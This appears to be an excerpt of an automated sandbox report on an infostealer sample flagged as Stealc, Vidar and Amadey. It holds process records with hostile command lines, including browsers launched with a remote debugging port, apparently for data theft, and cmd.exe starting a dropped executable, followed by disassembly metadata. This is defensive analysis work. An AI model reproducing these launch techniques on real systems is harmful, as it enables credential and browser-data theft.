Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2734481674.0000000000DF1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2736555309.000000000172E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2736555309.000000000172E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2167191514.0000000005270000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:17:17
Start date:	28/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:17:18
Start date:	28/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2600 --field-trial-handle=2516,i,4653955060801364549,16238247889288816033,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:17:28
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:17:29
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2532 --field-trial-handle=2208,i,5111306584062863557,2767766630891137064,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:17:29
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	09:17:30
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2236 --field-trial-handle=2192,i,10653102050523514978,13544990059289040474,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	09:17:34
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6016 --field-trial-handle=2192,i,10653102050523514978,13544990059289040474,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	09:17:34
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6016 --field-trial-handle=2192,i,10653102050523514978,13544990059289040474,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	09:17:34
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6860 --field-trial-handle=2192,i,10653102050523514978,13544990059289040474,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	09:17:34
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7020 --field-trial-handle=2192,i,10653102050523514978,13544990059289040474,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	09:18:00
Start date:	28/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIIJKJDAFHJ.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	09:18:00
Start date:	28/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	09:18:01
Start date:	28/11/2024
Path:	C:\Users\user\DocumentsIIJKJDAFHJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsIIJKJDAFHJ.exe"
Imagebase:	0xb10000
File size:	1'886'720 bytes
MD5 hash:	9DEA0E097A9267EEC56E1D08E9F37554
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000002.2770111286.0000000000B11000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000003.2729438980.0000000005300000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	09:18:03
Start date:	28/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x1d0000
File size:	1'886'720 bytes
MD5 hash:	9DEA0E097A9267EEC56E1D08E9F37554
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000003.2771092690.0000000005180000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000002.2811446858.00000000001D1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	09:18:03
Start date:	28/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x1d0000
File size:	1'886'720 bytes
MD5 hash:	9DEA0E097A9267EEC56E1D08E9F37554
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000002.2812090807.00000000001D1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000003.2771645245.00000000049A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	09:18:30
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7116 --field-trial-handle=2192,i,10653102050523514978,13544990059289040474,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	09:19:00
Start date:	28/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x1d0000
File size:	1'886'720 bytes
MD5 hash:	9DEA0E097A9267EEC56E1D08E9F37554
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000022.00000003.3315379474.0000000004850000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000022.00000002.3405864254.00000000001D1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C9535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DF688,00001000), ref: 6C9535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C9535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C95363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C95369F
__aulldiv.LIBCMT ref: 6C9536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C953773
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C95377E
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C9537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C9537C4
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C9537CB
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C953801
__aulldiv.LIBCMT ref: 6C953883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C953902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C953918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C95394C

Strings

GenuntelineI, xrefs: 6C953639
MOZ_TIMESTAMP_MODE, xrefs: 6C9535DB
GTC, xrefs: 6C953912
QPC, xrefs: 6C9538FC
AuthcAMDenti, xrefs: 6C953946

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 26ed5ced44c9aa1577918de3aab6bbf7f2504a1cc1f72e926ebf17c93282d5c4
Instruction ID: 658b735bf762aebd1eb55ad421c753acc8d8f3b2ac1c6ad5fe1dc3088615d149
Opcode Fuzzy Hash: 26ed5ced44c9aa1577918de3aab6bbf7f2504a1cc1f72e926ebf17c93282d5c4
Instruction Fuzzy Hash: 4BB193B1B09B009BDB08DF38C85561ABBF5FB8A704F55892DF599E3B90D730E9408B91

Function 6C96C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C96C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C96C969
GetSystemInfo.KERNEL32(?), ref: 6C96C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C96C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C96C9E2

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 066f3a386cdd80a083f4653106413906abd9f3794fdbb4dcfb1baa6ee936c6b2
Instruction ID: 9ee9738c2a8a6c4f9e6c533108214e4a777461f5b42f59fcf86c94ad6a6c57a6
Opcode Fuzzy Hash: 066f3a386cdd80a083f4653106413906abd9f3794fdbb4dcfb1baa6ee936c6b2
Instruction Fuzzy Hash: 9721C832745A146BEB04AA69DC84BAE7279AB46744F60051AF903B7E80DB60E940C7A1

Function 6C953060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C953095

Part of subcall function 6C9535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DF688,00001000), ref: 6C9535D5
Part of subcall function 6C9535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9535E0
Part of subcall function 6C9535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C9535FD
Part of subcall function 6C9535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C95363F
Part of subcall function 6C9535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C95369F
Part of subcall function 6C9535A0: __aulldiv.LIBCMT ref: 6C9536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C95309F

Part of subcall function 6C975B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9756EE,?,00000001), ref: 6C975B85
Part of subcall function 6C975B50: EnterCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975B90
Part of subcall function 6C975B50: LeaveCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975BD8
Part of subcall function 6C975B50: GetTickCount64.KERNEL32 ref: 6C975BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C9530BE

Part of subcall function 6C9530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C953127
Part of subcall function 6C9530F0: __aulldiv.LIBCMT ref: 6C953140

Part of subcall function 6C98AB2A: __onexit.LIBCMT ref: 6C98AB30

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 0088ff590e51e29d5d98fc0f73c348403daa0d9f64a6dcb850a30aa6584e80aa
Instruction ID: b3aebd78f234a2a2590a36ff075f2eaf2ac2b283d8202f17e2f694980101aa9a
Opcode Fuzzy Hash: 0088ff590e51e29d5d98fc0f73c348403daa0d9f64a6dcb850a30aa6584e80aa
Instruction Fuzzy Hash: E8F0A962D29F4C96CB10DF7498421E6B374AF7B118FA4571AF84477A61FB20B1D88391

Non-executed Functions

Function 6C965440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C965492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9654A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9654BE
__Init_thread_footer.LIBCMT ref: 6C9654DB

Part of subcall function 6C98AB3F: EnterCriticalSection.KERNEL32(6C9DE370,?,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284), ref: 6C98AB49
Part of subcall function 6C98AB3F: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98AB7C

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

GetCurrentThreadId.KERNEL32 ref: 6C9654F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C965516
GetCurrentThreadId.KERNEL32 ref: 6C96556A
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C965577
moz_xmalloc.MOZGLUE(00000070), ref: 6C965585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C965590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C9655E6
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C965606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C965616

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

GetCurrentThreadId.KERNEL32 ref: 6C96563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C965646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C96567C
free.MOZGLUE(?), ref: 6C9656AE

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C9656E8
GetCurrentThreadId.KERNEL32 ref: 6C965707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C96570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C965729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C96574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C96576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C965796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C9657B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C9657CA

Strings

- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C965D2B
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C965766
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C965724
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C965BBE
GeckoMain, xrefs: 6C965554, 6C9655D5
MOZ_BASE_PROFILER_HELP, xrefs: 6C965511
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9654B9
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C965D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C965C56
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C96584E
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C965CF9
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C965749
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C9656E3
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9654A3
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C965791
MOZ_PROFILER_STARTUP, xrefs: 6C9655E1
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C965D01
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C965AC9
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C96548D
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C9657AE
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C965717
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C965D24
[I %d/%d] profiler_init, xrefs: 6C96564E
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C9657C5
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C965B38

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 63f6ac4032cd796912983aa48e268e6ab745e3834178436f04110156bb8c4789
Instruction ID: dbcd13adabc6b76950f29d284a6a10ca0b35203b47f4cfe3f91f28bc11d472e7
Opcode Fuzzy Hash: 63f6ac4032cd796912983aa48e268e6ab745e3834178436f04110156bb8c4789
Instruction Fuzzy Hash: 0D222871908B009FFB009F76C45865A77B5AF9634CF554629E84AA7F82EB30E484CB53

Function 6C99B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

